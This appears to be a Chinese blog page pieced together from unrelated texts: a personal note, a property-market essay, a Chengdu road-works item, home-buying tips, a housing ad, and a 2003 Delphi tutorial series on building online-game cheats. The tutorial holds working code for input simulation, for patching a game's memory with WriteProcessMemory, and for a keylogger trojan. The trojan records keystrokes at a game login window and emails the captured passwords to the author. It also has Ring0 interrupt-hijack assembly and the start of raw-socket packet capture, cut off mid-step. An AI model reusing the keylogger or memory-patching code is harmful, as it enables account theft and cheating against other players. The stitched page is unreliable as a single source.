周末去了陆MM家，见了偶的未来岳丈大人，由于时间紧，住了一晚上第二天早就出门，在车站等了N久，脚都站痛了，以后一定要自己买个川A的车车啊，呵呵。

记录一下。。。

文章来源：博士 中国房地产资深评论家 中国地产实战家与地产营销理论家

朱大鸣的博客 http://blog.focus.cn/~zhudaming

民生地产的健康运行是我们国家房地产发展的方向，也是政府为了保护中低收入人群所做的看得见、摸得着的事实，民生地产已成为上上下下关注的焦点话题，老百姓对于高起房价的无奈的叹息，政府宏观调控的鞭长莫及，都给以往的的楼市留下了遗憾。然而任何事物都是有它的独特规律的，一味的强调、一味的夸大，违背市场规律做事，到头来要成为经济规律的枷锁。所以只有大力发展保障性住房才是解决目前住房建设的实际问题，才能确确实实缓解普通老百姓的切身利益，真正实现人们的“居者有其屋”的美好愿望。

一个国家的住房价格的房价收入比，确实要在一个合理的水平线上，房价的上升要有理性。现在房市中许多的购房者都在盼望着房价的下跌，而且是最好越低越好。他们的心情是可以理解的。因为这是消费者的自然心理状态，也是他们的美好愿望。在市场经济的层面，除非房市崩盘，房价才会急剧下跌。我们来看假设吧，假设房价真的剧烈下跌，会出现什么样的局面呢？

后果一：银行纷纷倒闭，经济急剧衰退

如果房价急跌，银行是最大的受害者。目前房贷占个贷款比例的95%以上，根据权威数据判断，房价下降30%银行将增加1万亿元的坏帐，目前普遍认为在企业抵押贷款以土地、房产做抵押的占一半以上，可以肯定，房价急挫的结果将是金融机构的噩梦，与此带动资本市场的估价，房价下跌就是下挫10%以上，银行就会受巨创，一旦银行倒闭，国家金融崩溃，国家经济急剧衰退，中国经济将要重建。

长期来我国房地产开发资金过多依赖于银行贷款，大约70％的房地产开发资金来自银行贷款的支持，商业银行基本参与了房地产开发的全过程。实际上，我们知道，商业性的银行现在基本上都进行了股份制改造了。改造后的银行，首先要盈利，而且要保证本金安全，如果房价大跌的话，银行首当其冲受到冲击，坏账增多，银行经营就会成批拖入死地，整个金融体系就会陷入绝境，引发大规模的金融危机，从而从根本上危害我们日益高涨的经济发展势头。

房地产业与银行业互相绑在了一起，的确是一个令人担忧的事情；我们觉得这两个行业为了避免这种一损俱损的风险，就要分散风险，融资多样化：除了房地产公司银行贷款、上市融资和发行企业债券外，房地产企业还可以通过房地产投资基金（比如上市和私募的）、夹层融资以及抵押贷款证券化等多种方式融资。

这样的话就能分散风险，不至于一个倒下了，就倒了一大片。有些关键的局部，决定着整个全局，我们明显的看到：房地产行业与银行是一损俱损的关系，如果这个环节出了问题，整个经济的血管就崩裂了。

后果二：国民经济通胀急剧转为通缩，经济硬着陆

房价的急剧下跌，除了打击开发商本身外，将严重打击投资者对地产投资的信心，消费者的信心也会受到挫伤。鉴于地产在中国经济中所占的比重，经济会从严重通货膨胀急剧转为通货紧缩，导致经济的硬着陆，中国经济将进入萧条期。

前段时间，有人认为房地产行业是整个国民经济的支柱行业，这个提法过高。我们虽然对于这个提法也有质疑，最起码房地产行业是整个国民经济的很重要的支柱行业之一，应当问题不大。现在物价上涨比较厉害，而偏偏让房地产行业雪崩，认为只要房价下跌了，整个通货膨胀的局面就会得到改观，而且，老百姓就可以底价买房子了。这种观念要不得，而且不现实。假如出现这种情形的话，老百姓的收入也会随之大降的，还是一样买不起。这里的问题关键是：一些贫困的老百姓就没有能力从商品房去实现居住目标，而是国家保障性住房这一块要解决的问题，无论房价的涨跌，对他们来说，实际上影响不大。

牵一发而动全身，通货膨胀治理需要多方面治理，不仅仅使房地产行业的问题。

后果三：房产投资者资产缩水，引发社会大动荡

据报道在房市投资的资金已经和股市的市值相当了，虽然有点危言耸听，但是可见其比重之大。如果房价急剧下跌，房产投资者的资产将会大幅缩水，大部分人是以贷养房，房价下跌幅度深，房产又不能快速套现，跳楼的人将不在少数，而这部分人在社会的影响力是巨大的，他们的利益受到损害，将引发社会的大动荡。

我们先看看一些房地产企业吧：由于整个资金链断了，就相当于军队断了粮草，除了几个大型开发商之外，没有房地产企业能够抵御大环境变坏的风暴。大大批房地产企业破产，导致了上下游产业连环萧条，员工要钱、建筑工人要工资、供应商要材料钱，建材行业大量货物囤积，装饰业工人无事可做，运输业司机空守待命。于是，大规模的事情就会出现。比如，拍卖公司资产，，有的哄抢企业物品，有的围攻公司，有的公共场合集会，更有甚者会出现殴打相关人员或严重干扰社会的事件。这些不是危言耸听，前段时间有几个地产中介倒闭，就出现这种情景。虽然这只是几个中介，但是也能反映假如大规模的房地产企业及相关产业倒闭之后的景象。

试想一下，我们国家好不容易培养了一个的市场体系，好不容易培养了一批房地产企业，如果这个根本破坏了，只好从头再来，简单重复。

后果四：住房保障体系无法正常实施

房价急剧下跌，必然导致土地价格下跌。目前政府将为低收入者实施的建设保障型住房与限价房，主要财政支出由地方政府统筹，支出本来就十分困难。而地价的下跌，断了地方政府很大的财政来源，住房保障体系将难以为继，保障性住房的建设将又进入僵局。这也形成了一种怪局，就是财政收入与地价有着密切的关系。如果地价这么高，还让房价大降，这就是：还想让马儿跑，还想让马儿不吃草，怎么可能呢。

如果一旦房价急剧下跌，引发中国经济的大衰退，首先受到冲击的是那些收入较低的百姓，他们中的很多人可能会进入失业的大军中。应为房地产行业正常运行可以起到带动相关产业链运行，如金融业、制造业、建筑业，建材业、装饰业、家具业、运输业、咨询业、服务业等等，通过房地产为龙头，拉动国民经济的增长。一旦经济萎缩，人们收入也会相应地减少，到那时，再低的房价对低收入人群仍然觉得高不可攀。

（据成都商报消息）昨日记者从成华区交通局获悉，预计今年9月将对双庆路实行改造，2009年7月底就能完成改造。改造后的双庆路将变身为八车道的“大马路”。

据介绍，改造路段起于与双林路相接的二环路万年场路口，向东止于沙河大桥，全长约1390米，其中新建路段700米左右。由于设计方案目前还没有完成，投资总额还不能确定，不过可以肯定的是作为双林路的延伸项目，两个改造项目的投资都将来源于成都城市建设资金。

成华区交通局相关负责人表示，改造后的双庆路和双林路一起变身八车道，也就是说，以后从二号桥到沙河大桥将全部都是八车道了。现在两侧的绿化带将被拆除，取而代之的是宽3米的中央隔离带。改造后路面将由现在的水泥路面变成沥青路面。

PS：双庆路就是我们旁边那条路，哈哈哈。。。

1)大家购房所付的保险费其实是可以打八五折的，不要在售楼处买保单，外面的保险公司都可以为你打折。

2)开盘绝对没有好房子，好的房子全部被保留，然后每个月推出几套，但单价升得很快，要么就是你有关系，我们才给你好的房子。

3)广告没有一个是真的，千万别相信其中的外立面颜色，很多造出来比画的难看多了。

4)售楼员会用许多方法来逼你买房，让你无时无刻感到紧张，这时你千万要冷静。要自己看中才买。

5)别以为高层中的九到十一楼不错，那你大错了，这些楼层正好是扬灰层，脏空气到这个高度就会停顿，我们是不会告诉你们的。

6)别对景观抱太大希望，树和草是在交房前一个月从外地买来直接插土进去的，所以能多多存活就不错了。

7)别以为面砖的外墙是好的，其实面砖漏水比涂料漏水的几率大多了，在国外都是用的高级涂料，没人用面砖当外墙。

8)别以为实测面积是对的，其实测绘局都被我们买通的，少你一个平米你也看不出来，但是国家就只承认他的测绘报告..

9)绿化率，容积率大多都是与实际不相符的，千万别相信我们，我们只是听工程部随便说说的，能对八成就不错了。

10)漏水和外立面的材料根本没关系，你们要关心的是桩有多深，因为新房漏水大多是因为房屋沉降过大，造成外墙裂缝才漏水的。

11)开盘的时候售楼处会有许多四五十岁的人在模型边上说这个房子好，千万别信，这些人大多是公司的领导来捧场的。

12)注意，有人代理公司来代理的楼盘他们通常花样最多，比如排队买号等，但是开发商直接销售就不会搞很多花头，那是因为代理商想赚开发商更多的代理费。

13)为何上海的所有凸窗看上去很大，但是能通风的只有很小一扇，我们说是为了安全，其实是整个上海的开发商都是为了省钱而内部统一那么做的。

14)如果报纸广告上的哪个楼盘单独印了一个房型，那你千万不要去买这个房型，不是卖不掉的就是位置有问题，我们叫最后冲刺，你想啊，他干嘛不印其他的呢？

15)到售楼处后直接问售楼员看一样叫销控的本子，这样你才可以确切的知道哪些房子是真的没了，哪些房子还在，这本东西特别准，只有少数楼盘会做一份假的。

16)一个好的施工单位关键是看他的工地是否干净，建材堆放是否井井有条。

17)不要相信物业管理会是广告上的外资单位来管理，通常只买他们的一个名字，然后叫物业顾问，这些外资物业公司通常只为单价在一万以上的楼盘来服务，别的其实都由本地公司来管理。 

18)不要相信建筑设计是什么美国或加拿大的公司，这也是假的，国家规定外资设计单位不能单独参与一个楼盘的建筑设计，而必须是外加一个国内设计公司来共同设计，但是真正做出房型的就是国内公司，弄个外国名字只是满足你们的崇洋媚外的心理.

东二环，沙河畔， 在呼应自然与都市的同时， 水岸华庭依势而出，生活与生态成为一个有机的整体。 在人与物之间创造出一种亲和力，使那些容易被忽略的事物能够重新得到重视， 用一个温暖的眼神，一种轻柔的接触，拥得一城繁华，一处风景，一河清澈， 那份真实的享受值得你用一生的时光，去奔赴，去享受。 水天之间，以生活的名义停驻脚步，浣洗繁嚣，让心回归，让梦升华。 水岸华庭通过半围合社区的集中绿地打造出内涵丰富主题景观，视觉从此得到360°全新体验。

在景观设计中充分考虑小区健康主题园林与沙河景观的有机整合，特别是小区临河出入口与河滨带须形成呼应和贯通，营造出步移景换的沙河景观带。

◆户户观景——水岸华庭通过与将主要功能用房的面向开敞方向布置，空间的阔绰尺度、入户花园以及错层露台的设计使每户都享受到周边的无限美景。

◆ “全明主义”——水岸华庭采用简洁流畅的设计，用明朗的流线和优雅的弧度处理，使每一个空间都做到“阳光户型，户户通透”。

◆高实用率与使用率——在户型设计上，充分做到各功能布局紧凑合理，实现高实用率和使用率，充分利用每一寸空间，强调居家的舒适与温馨，突出居住空间的品质感，彰显人性居住的魅力。

水岸华庭以沙河公园的生态、健康、亲水为设计灵魂， 尽其所能地将建筑材质的原色与协调的色彩相对应，在此基础上提炼升华，形成一种都市简约休闲风格的人文社区， 这种风格与这里的居住者形成一种精神上的对话。 在重视景观的同时，参与这里的每一个细节都可以使人们找到自己的兴趣所在，这样的景观不再拒绝你的靠近和加入，一个以业主的健康为主旨的灵动设计，让你在与景观的交流中，体验洋溢整个社区的幸福感。

交通情况:

万年场站点：112、14、20、222、2、301、33、341、51、5、5区间、80、85、8、91、97、98、40；双桥子站点：106、114、222、2、307、308、40、4、58、65、71、75、81、91、97、98、304；二环路东四段站点：51、85、68；经华南路站点：59、4、81；双林中横路站点：114、20、2、308、65、91、97、98；双林北横路站点：71、75；联合小区站点：88A、402、5、14、33、80、97、98、112、301；双桥路站点：106、20、341

周边配套:

家乐福、北京华联、百佳、SM广场
国美电器、永乐电器、苏宁电器、五星电器
天城鳝鱼火锅城、九天鲜鹅肠、重庆满江红毛肚火锅、百里鲜火锅、甜妹粑泥鳅、太安鱼、狮子楼、四方阁川菜馆、玉麒麟酒店、郑氏阳光餐厅、玉包子、元宝堂哈尔滨水饺店、隆氏兔头、蜀香园酒家、胖哥快餐店、禄福缘酒家、九里三食府、英雄川菜……
新华公园、塔子山公园
成都市实验中学（南区）、川师附中、锦江育才中学、成都市十二中华智学校、成都市第十七中学、成都市双庆中学、成都市列五中学、成都市双林小学、成都市双林实验小学、成都市双庆小学、成都市水碾河小学、成都东风路小学
海王星辰药业、蜀康药房、杏林大药房、中联大药房、德仁堂药业、华安堂药业
成都市第六人民医院、成都新华人民医院、成都市万厚医院、成都新鸿医院、成都总府医院、成都瑞金医院

引自：http://www.delphibbs.com/keylife/iblog_show.asp?xid=29781

上回对五种类型的外挂做了一个大体的概括，大家对这几种外挂都有了一定的了解，现在就依次（制作难度）由浅到深谈谈我对外挂制作的一些认识吧~~~~
首先，先来谈一下动作式的外挂，这也是我第一次写外挂时做的最简单的一种。
记得还在“石器”时代的时候，我看到别人挂着一种软件（外挂）人物就可以四外游走（当时我还不知道外挂怎么回事^_^），于是找了这种软件过来研究（拿来后才听别人说这叫外挂），发现这种东东其实实现起来并不难，仔佃看其实人物的行走无非就是鼠标在不同的地方点来点去而已，看后就有实现这功能的冲动，随后跑到MSDN上看了一些资料，发现这种实现这几个功能，只需要几个简单的API函数就可以搞定：
1、首先我们要知道现在鼠标的位置（为了好还原现在鼠标的位置）所以我们就要用到API函数GetCursorPos，它的使用方法如下：
BOOL GetCursorPos(

LPPOINT lpPoint // address of structure for cursor position
);
2、我们把鼠标的位置移到要到人物走到的地方，我们就要用到SetCursorPos函数来移动鼠标位置，它的使用方法如下：
BOOL SetCursorPos(

int X, // horizontal position
int Y // vertical position
);
3、模拟鼠标发出按下和放开的动作，我们要用到mouse_event函数来实现，具休使用方法用下：
VOID mouse_event(

DWORD dwFlags, // flags specifying various motion/click variants
DWORD dx, // horizontal mouse position or position change
DWORD dy, // vertical mouse position or position change
DWORD dwData, // amount of wheel movement
DWORD dwExtraInfo // 32 bits of application-defined information
);
在它的dwFlags处，可用的事件很多如移动MOUSEEVENTF_MOVE，左键按下MOUSEEVENTF_LEFTDOWN，左键放开MOUSEEVENTF_LEFTUP，具体的东东还是查一下MSDN吧~~~~~
好了，有了以前的知识，我们就可以来看看人物移走是怎么实现的了：

getcursorpos(point);
setcursorpos(ranpoint(80,windowX),ranpoint(80,windowY));//ranpoint是个自制的随机坐标函数
mouse_event(MOUSEEVENTF_LEFTDOWN,0,0,0,0);
mouse_event(MOUSEEVENTF_LEFTUP,0,0,0,0);
setcursorpos(point.x,point.y);

看了以上的代码，是不是觉得人物的游走很简单啦~~，举一仿三，还有好多好东东可以用这个技巧实现（我早就说过，TMD，这是垃圾外挂的做法，相信了吧~~~），接下来，再看看游戏里面自动攻击的做法吧（必需游戏中攻击支持快捷键的），道理还是一样的，只是用的API不同罢了~~~，这回我们要用到的是keybd_event函数，其用法如下：
VOID keybd_event(

BYTE bVk, // virtual-key code
BYTE bScan, // hardware scan code
DWORD dwFlags, // flags specifying various function options
DWORD dwExtraInfo // additional data associated with keystroke
);
我们还要知道扫描码不可以直接使用，要用函数MapVirtualKey把键值转成扫描码，MapVirtualKey的具体使用方法如下：
UINT MapVirtualKey(

UINT uCode, // virtual-key code or scan code
UINT uMapType // translation to perform
);
好了，比说此快接键是CTRL+A，接下来让我们看看实际代码是怎么写的：

keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),0,0);
keybd_event(65,mapvirtualkey(65,0),0,0);
keybd_event(65,mapvirtualkey(65,0),keyeventf_keyup,0);
keybd_event(VK_CONTROL,mapvirtualkey(VK_CONTROL,0),keyeventf_keyup,0);

首先模拟按下了CTRL键，再模拟按下A键，再模拟放开A键，最后放开CTRL键，这就是一个模拟按快捷键的周期。
（看到这里，差不多对简易外挂有了一定的了解了吧~~~~做一个试试？如果你举一仿三还能有更好的东东出来，这就要看你的领悟能力了~~，不过不要高兴太早这只是才开始，以后还有更复杂的东东等着你呢~~）


2003-5-15 10:36:05 上回我们对动作式外挂做了一个解析，动作式是最简单的外挂，现在我们带来看看，比动作式外挂更进一步的外挂——本地修改式外挂的整个制作过程进行一个详细的分解。
具我所知，本地修改式外挂最典型的应用就是在“精灵”游戏上面，因为我在近一年前（“精灵”还在测试阶段），我所在的公司里有很多同事玩“精灵”，于是我看了一下游戏的数据处理方式，发现它所发送到服务器上的信息是存在于内存当中（我看后第一个感受是：修改这种游戏和修改单机版的游戏没有多大分别，换句话说就是在他向服务器提交信息之前修改了内存地址就可以了），当时我找到了地址于是修改了内存地址，果然，按我的想法修改了地址，让系统自动提交后，果然成功了~~~~~，后来“精灵”又改成了双地址校检，内存校检等等，在这里我就不废话了~~~~，OK，我们就来看看这类外挂是如何制作的：
在做外挂之前我们要对Windows的内存有个具体的认识，而在这里我们所指的内存是指系统的内存偏移量，也就是相对内存，而我们所要对其进行修改，那么我们要对几个Windows API进行了解，OK，跟着例子让我们看清楚这种外挂的制作和API的应用（为了保证网络游戏的正常运行，我就不把找内存地址的方法详细解说了）：
1、首先我们要用FindWindow,知道游戏窗口的句柄，因为我们要通过它来得知游戏的运行后所在进程的ID，下面就是FindWindow的用法：
HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
2、我们GetWindowThreadProcessId来得到游戏窗口相对应进程的进程ID，函数用法如下：
DWORD GetWindowThreadProcessId(

HWND hWnd, // handle of window
LPDWORD lpdwProcessId // address of variable for process identifier
);
3、得到游戏进程ID后，接下来的事是要以最高权限打开进程，所用到的函数OpenProcess的具体使用方法如下：
HANDLE OpenProcess(

DWORD dwDesiredAccess, // access flag
BOOL bInheritHandle, // handle inheritance flag
DWORD dwProcessId // process identifier
);
在dwDesiredAccess之处就是设存取方式的地方，它可设的权限很多，我们在这里使用只要使用PROCESS_ALL_ACCESS 来打开进程就可以，其他的方式我们可以查一下MSDN。
4、打开进程后，我们就可以用函数对存内进行操作，在这里我们只要用到WriteProcessMemory来对内存地址写入数据即可（其他的操作方式比如说：ReadProcessMemory等，我在这里就不一一介绍了），我们看一下WriteProcessMemory的用法：
BOOL WriteProcessMemory(

HANDLE hProcess, // handle to process whose memory is written to
LPVOID lpBaseAddress, // address to start writing to
LPVOID lpBuffer, // pointer to buffer to write data to
DWORD nSize, // number of bytes to write
LPDWORD lpNumberOfBytesWritten // actual number of bytes written
);
5、下面用CloseHandle关闭进程句柄就完成了。
这就是这类游戏外挂的程序实现部份的方法，好了，有了此方法，我们就有了理性的认识，我们看看实际例子，提升一下我们的感性认识吧，下面就是XX游戏的外挂代码，我们照上面的方法对应去研究一下吧：
const
ResourceOffset: dword = $004219F4;
resource: dword = 3113226621;
ResourceOffset1: dword = $004219F8;
resource1: dword = 1940000000;
ResourceOffset2: dword = $0043FA50;
resource2: dword = 1280185;
ResourceOffset3: dword = $0043FA54;
resource3: dword = 3163064576;
ResourceOffset4: dword = $0043FA58;
resource4: dword = 2298478592;
var
hw: HWND;
pid: dword;
h: THandle;
tt: Cardinal;
begin
hw := FindWindow('XX', nil);
if hw = 0 then
Exit;
GetWindowThreadProcessId(hw, @pid);
h := OpenProcess(PROCESS_ALL_ACCESS, false, pid);
if h = 0 then
Exit;
if flatcheckbox1.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset), @Resource, sizeof(Resource), tt);
WriteProcessMemory(h, Pointer(ResourceOffset1), @Resource1, sizeof(Resource1), tt);
end;
if flatcheckbox2.Checked=true then
begin
WriteProcessMemory(h, Pointer(ResourceOffset2), @Resource2, sizeof(Resource2), tt);
WriteProcessMemory(h, Pointer(ResourceOffset3), @Resource3, sizeof(Resource3), tt);
WriteProcessMemory(h, Pointer(ResourceOffset4), @Resource4, sizeof(Resource4), tt);
end;
MessageBeep(0);
CloseHandle(h);
close;
这个游戏是用了多地址对所要提交的数据进行了校验，所以说这类游戏外挂制作并不是很难，最难的是要找到这些地址。


2003-5-15 10:37:27 以前介绍过的动作式，本地修改式外挂是真正意义上的外挂，而今天本文要介绍的木马式外挂，可能大多像木马吧，是帮助做外挂的人偷取别人游戏的帐号及密码的东东。因为网络上有此类外挂的存在，所以今天不得不说一下（我个人是非常讨厌这类外挂的，请看过本文的朋友不要到处乱用此技术，谢谢合作）。要做此类外挂的程序实现方法很多（比如HOOK，键盘监视等技术），因为HOOK技术对程序员的技术要求比较高并且在实际应用上需要多带一个动态链接库，所以在文中我会以键盘监视技术来实现此类木马的制作。键盘监视技术只需要一个.exe文件就能实现做到后台键盘监视，这个程序用这种技术来实现比较适合。
在做程序之前我们必需要了解一下程序的思路：
1、我们首先知道你想记录游戏的登录窗口名称。
2、判断登录窗口是否出现。
3、如果登录窗口出现，就记录键盘。
4、当窗口关闭时，把记录信息，通过邮件发送到程序设计者的邮箱。
第一点我就不具体分析了，因为你们比我还要了解你们玩的是什么游戏，登录窗口名称是什么。从第二点开始，我们就开始这类外挂的程序实现之旅：
那么我们要怎么样判断登录窗口虽否出现呢？其实这个很简单，我们用FindWindow函数就可以很轻松的实现了：
HWND FindWindow(

LPCTSTR lpClassName, // pointer to class name
LPCTSTR lpWindowName // pointer to window name
);
实际程序实现中，我们要找到'xx'窗口，就用FindWindow(nil,'xx')如果当返回值大于0时表示窗口已经出现，那么我们就可以对键盘信息进行记录了。
先首我们用SetWindowsHookEx设置监视日志，而该函数的用法如下：
HHOOK SetWindowsHookEx(

int idHook, // type of hook to install
HOOKPROC lpfn, // address of hook procedure
HINSTANCE hMod, // handle of application instance
DWORD dwThreadId // identity of thread to install hook for
);
在这里要说明的是在我们程序当中我们要对HOOKPROC这里我们要通过写一个函数，来实现而HINSTANCE这里我们直接用本程序的HINSTANCE就可以了，具体实现方法为：
hHook := SetWindowsHookEx(WH_JOURNALRECORD, HookProc, HInstance, 0);
而HOOKPROC里的函数就要复杂一点点：
function HookProc(iCode: integer; wParam: wParam; lParam: lParam): LResult; stdcall;
begin
if findedtitle then //如果发现窗口后
begin
if (peventmsg(lparam)^.message = WM_KEYDOWN) then //消息等于键盘按下
hookkey := hookkey + Form1.Keyhookresult(peventMsg(lparam)^.paramL, peventmsg(lparam)^.paramH); //通过keyhookresult（自定义的函数，主要功能是转换截获的消息参数为按键名称。我会在文章尾附上转化函数的）转换消息。
if length(hookkey) > 0 then //如果获得按键名称
begin
Write(hookkeyFile,hookkey); //把按键名称写入文本文件
hookkey := '';
end;
end;
end;
以上就是记录键盘的整个过程，简单吧，如果记录完可不要忘记释放呀，UnHookWindowsHookEx(hHook)，而hHOOK,就是创建setwindowshookex后所返回的句柄。
我们已经得到了键盘的记录，那么现在最后只要把记录的这些信息发送回来，我们就大功造成了。其他发送这块并不是很难，只要把记录从文本文件里边读出来，用DELPHI自带的电子邮件组件发一下就万事OK了。代码如下：
assignfile(ReadFile,'hook.txt'); //打开hook.txt这个文本文件
reset(ReadFile); //设为读取方式
try
While not Eof(ReadFile) do //当没有读到文件尾
begin
Readln(ReadFile,s,j); //读取文件行
body:=body+s;
end;
finally
closefile(ReadFile); //关闭文件
end;
nmsmtp1.EncodeType:=uuMime; //设置编码
nmsmtp1.PostMessage.Attachments.Text:=''; //设置附件
nmsmtp1.PostMessage.FromAddress:='XXX@XXX.com'; //设置源邮件地址
nmsmtp1.PostMessage.ToAddress.Text:='XXX@XXX.com'; /设置目标邮件地址
nmsmtp1.PostMessage.Body.Text:='密码'+' '+body; //设置邮件内容
nmsmtp1.PostMessage.Subject:='password'; //设置邮件标题
nmsmtp1.SendMail; //发送邮件


2003-5-15 10:38:09 我一直没有搞懂制作加速外挂是怎么一回事，直到前不久又翻出来了2001年下半期的《程序员合订本》中《“变速齿轮”研究手记》重新回味了一遍，才有了一点点开悟，随后用Delphi重写了一遍，下面我就把我的心得说给大家听听，并且在此感谢《“变速齿轮”研究手记》作者褚瑞大虲给了提示。废话我就不多说了，那就开始神奇的加速型外挂体验之旅吧！
原本我一直以为加速外挂是针对某个游戏而写的，后来发现我这种概念是不对的，所谓加速外挂其实是修改时钟频率达到加速的目的。
以前DOS时代玩过编程的人就会马上想到，这很简单嘛不就是直接修改一下8253寄存器嘛，这在以前DOS时代可能可以行得通，但是windows则不然。windows是一个32位的操作系统，并不是你想改哪就改哪的（微软的东东就是如此霸气，说不给你改就不给你改^_^），但要改也不是不可能，我们可以通过两种方法来实现：第一是写一个硬件驱动来完成，第二是用Ring0来实现（这种方法是CIH的作者陈盈豪首用的，它的原理是修改一下IDT表->创建一个中断门->进入Ring0->调用中断修改向量，但是没有办法只能用ASM汇编来实现这一切*_*，做为高级语言使用者惨啦！），用第一种方法用点麻烦，所以我们在这里就用第二种方法实现吧~~~
在实现之前我们来理一下思路吧：
1、我们首先要写一个过程在这个过程里嵌入汇编语言来实现修改IDE表、创建中断门，修改向量等工作
2、调用这个过程来实现加速功能
好了，现在思路有了，我们就边看代码边讲解吧：
首先我们建立一个过程，这个过程就是本程序的核心部份：
procedure SetRing(value:word); stdcall;
const ZDH = $03; ／／ 设一个中断号
var
IDT : array [0..5] of byte; ／／ 保存IDT表
OG : dword; ／／存放旧向量
begin
asm
push ebx
sidt IDT ／／读入中断描述符表
mov ebx, dword ptr [IDT+2] ／／IDT表基地址
add ebx, 8*ZDH ／／计算中断在中断描述符表中的位置
cli ／／关中断
mov dx, word ptr [ebx+6]
shl edx, 16d
mov dx, word ptr [ebx]
mov [OG], edx
mov eax, offset @@Ring0 ／／指向Ring0级代码段
mov word ptr [ebx], ax ／／低16位,保存在1,2位
shr eax, 16d
mov word ptr [ebx+6], ax ／／高16位，保存在6,7位
int ZDH ／／中断
mov ebx, dword ptr [IDT+2] ／／重新定位
add ebx, 8*ZDH
mov edx, [OG]
mov word ptr [ebx], dx
shr edx, 16d
mov word ptr [ebx+6], dx ／／恢复被改了的向量
pop ebx
jmp @@exitasm ／／到exitasm处
@@Ring0: ／／Ring0,这个也是最最最核心的东东
mov al,$34 ／／写入8253控制寄存器
out $43,al
mov ax,value　／／写入定时值
out $40,al ／／写定时值低位
mov al,ah
out $40,al ／／写定时值高位
iretd ／／返回
@@exitasm:
end;
end;
最核心的东西已经写完了，大部份读者是知其然不知其所以然吧，呵呵，不过不知其所以然也然。下面我们就试着用一下这个过程来做一个类似于“变速齿轮”的一个东东吧！
先加一个窗口，在窗口上放上一个trackbar控件把其Max设为20，Min设为1，把Position设为10，在这个控件的Change事件里写上：

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));

因为windows默认的值为$1742，所以我们把1742做为基数，又因为值越小越快，反之越慢的原理，所以写了这样一个公式，好了，这就是“变速齿轮”的一个Delphi＋ASM版了（只适用于win9X），呵呵，试一下吧，这对你帮助会很大的，呵呵。
在win2000里，我们不可能实现在直接对端口进行操作，Ring0也失了效，有的人就会想到，我们可以写驱动程序来完成呀，但在这里我告诉你，windows2000的驱动不是一个VxD就能实现的，像我这样的低手是写不出windows所用的驱动WDM的，没办法，我只有借助外力实现了，ProtTalk就是一个很好的设备驱动，他很方便的来实现对低层端口的操作，从而实现加速外挂。
1、我们首先要下一个PortTalk驱动，他的官方网站是http://www.beyondlogic.org
2、我们要把里面的prottalk.sys拷贝出来。
3、建立一个Protalk.sys的接口（我想省略了，大家可以上http://www.freewebs.com/liuyue/porttalk.pas下个pas文件自己看吧）
4、实现加速外挂。
本来就篇就是补充篇原理我也不想讲太多了，下面就讲一下这程序的实现方法吧，如果说用ProtTalk来操作端口就容易多了，比win98下用ring权限操作方便。
1、新建一个工程，把刚刚下的接口文件和Protalk.sys一起拷到工程文件保存的文件夹下。
2、我们在我们新建的工程加入我们的接口文件
uses
windows,ProtTalk……
3、我们建立一个过程
procedure SetRing(value:word);
begin
if not OpenPortTalk then exit;
outportb($43,$34);
outportb($40,lo(Value));
outprotb($40,hi(value));
ClosePortTalk;
end;

4、先加一个窗口，在窗口上放上一个trackbar控件把其Max设为20，Min设为1，把Position设为10，在这个控件的Change事件里写上：

SetRing(strtoint('$'+inttostr(1742+(10-trackbar1.Position)*160)));


2003-5-18 22:57:57 网络游戏的封包技术是大多数编程爱好者都比较关注的关注的问题之一，在这一篇里就让我们一起研究一下这一个问题吧。
别看这是封包这一问题，但是涉及的技术范围很广范，实现的方式也很多（比如说APIHOOK,VXD,Winsock2都可以实现），在这里我们不可能每种技术和方法都涉及，所以我在这里以Winsock2技术作详细讲解，就算作抛砖引玉。
由于大多数读者对封包类编程不是很了解，我在这里就简单介绍一下相关知识：
APIHooK：
由于Windows的把内核提供的功能都封装到API里面，所以大家要实现功能就必须通过API，换句话说就是我们要想捕获数据封包，就必须先要得知道并且捕获这个API，从API里面得到封包信息。
VXD：
直接通过控制VXD驱动程序来实现封包信息的捕获，不过VXD只能用于win9X。
winsock2：
winsock是Windows网络编程接口，winsock工作在应用层，它提供与底层传输协议无关的高层数据传输编程接口，winsock2是winsock2.0提供的服务提供者接口，但只能在win2000下用。
好了，我们开始进入winsock2封包式编程吧。
在封包编程里面我准备分两个步骤对大家进行讲解：1、封包的捕获，2、封包的发送。
首先我们要实现的是封包的捕获：
Delphi的封装的winsock是1.0版的，很自然winsock2就用不成。如果要使用winsock2我们要对winsock2在Delphi里面做一个接口，才可以使用winsock2。
1、如何做winsock2的接口？
1）我们要先定义winsock2.0所用得到的类型，在这里我们以WSA_DATA类型做示范，大家可以举一仿三的来实现winsock2其他类型的封装。
我们要知道WSA_DATA类型会被用于WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer;，大家会发现WSData是引用参数，在传入参数时传的是变量的地址，所以我们对WSA_DATA做以下封装：
const
WSADESCRIPTION_LEN = 256;
WSASYS_STATUS_LEN = 128;
type
PWSA_DATA = ^TWSA_DATA;
WSA_DATA = record
wVersion: Word;
wHighVersion: Word;
szDescription: array[0..WSADESCRIPTION_LEN] of Char;
szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;
iMaxSockets: Word;
iMaxUdpDg: Word;
lpVendorInfo: PChar;
end;
TWSA_DATA = WSA_DATA;
2）我们要从WS2_32.DLL引入winsock2的函数，在此我们也是以WSAStartup为例做函数引入：
function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;

implementation

const WinSocket2 = 'WS2_32.DLL';
function WSAStartup; external winsocket name 'WSAStartup';

通过以上方法，我们便可以对winsock2做接口，下面我们就可以用winsock2做封包捕获了，不过首先要有一块网卡。因为涉及到正在运作的网络游戏安全问题，所以我们在这里以IP数据包为例做封包捕获，如果下面的某些数据类型您不是很清楚，请您查阅MSDN：
1）我们要起动WSA，这时个要用到的WSAStartup函数，用法如下：
INTEGER WSAStartup(
wVersionRequired: word，
WSData: TWSA_DATA
)；
2）使用socket函数得到socket句柄，m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP); 用法如下：
INTEGER socket(af: Integer,
Struct: Integer,
protocol: Integer
);

m_hSocket:=Socket(AF_INET, SOCK_RAW, IPPROTO_IP);在程序里m_hSocket为socket句柄，AF_INET，SOCK_RAW，IPPROTO_IP均为常量。

3)定义SOCK_ADDR类型，跟据我们的网卡IP给Sock_ADDR类型附值，然后我们使用bind函数来绑定我们的网卡，Bind函数用法如下：

